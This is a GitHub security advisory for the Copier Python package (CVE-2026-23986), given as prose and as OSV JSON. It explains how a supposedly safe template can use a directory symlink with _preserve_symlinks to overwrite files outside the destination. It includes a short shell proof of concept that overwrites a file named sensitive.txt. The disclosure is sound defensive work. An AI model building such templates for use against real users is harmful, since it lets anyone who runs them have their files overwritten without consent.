GHSA-4FQP-R85R-HXQH

Vulnerability from github – Published: 2026-01-21 22:19 – Updated: 2026-01-22 15:40
VLAI?
Summary
Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true
Details

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with _preserve_symlinks: true and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

[!NOTE]

At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using os.scandir which yields directory entries in arbitrary order.

Reproducible example (may or may not work depending on directory entry yield order):

mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd

mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .
# .
# ├── copier.yml
# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja
#
# 1 directory, 2 files
popd

uvx copier copy --overwrite src/ dst/

cat other/sensitive.txt
# overwritten

Patches

n/a

Workarounds

n/a

References

n/a

Severity ?
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "copier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23986"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T22:19:29Z",
    "nvd_published_at": "2026-01-21T23:15:52Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user\u0027s write permissions), e.g., to cause havoc.\n\n\u003e [!NOTE]\n\u003e\n\u003e At the time of writing, the exploit is non-deterministic, as Copier walks the template\u0027s file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" \u003e sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" \u003e \"{{ pathjoin(\u0027other\u0027, \u0027sensitive.txt\u0027) }}.jinja\"\necho \"_preserve_symlinks: true\" \u003e copier.yml\ntree .\n# .\n# \u251c\u2500\u2500 copier.yml\n# \u251c\u2500\u2500 other -\u003e ../other\n# \u2514\u2500\u2500 {{ pathjoin(\u0027other\u0027, \u0027sensitive.txt\u0027) }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a",
  "id": "GHSA-4fqp-r85r-hxqh",
  "modified": "2026-01-22T15:40:13Z",
  "published": "2026-01-21T22:19:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23986"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/copier-org/copier"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/releases/tag/v9.11.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true "
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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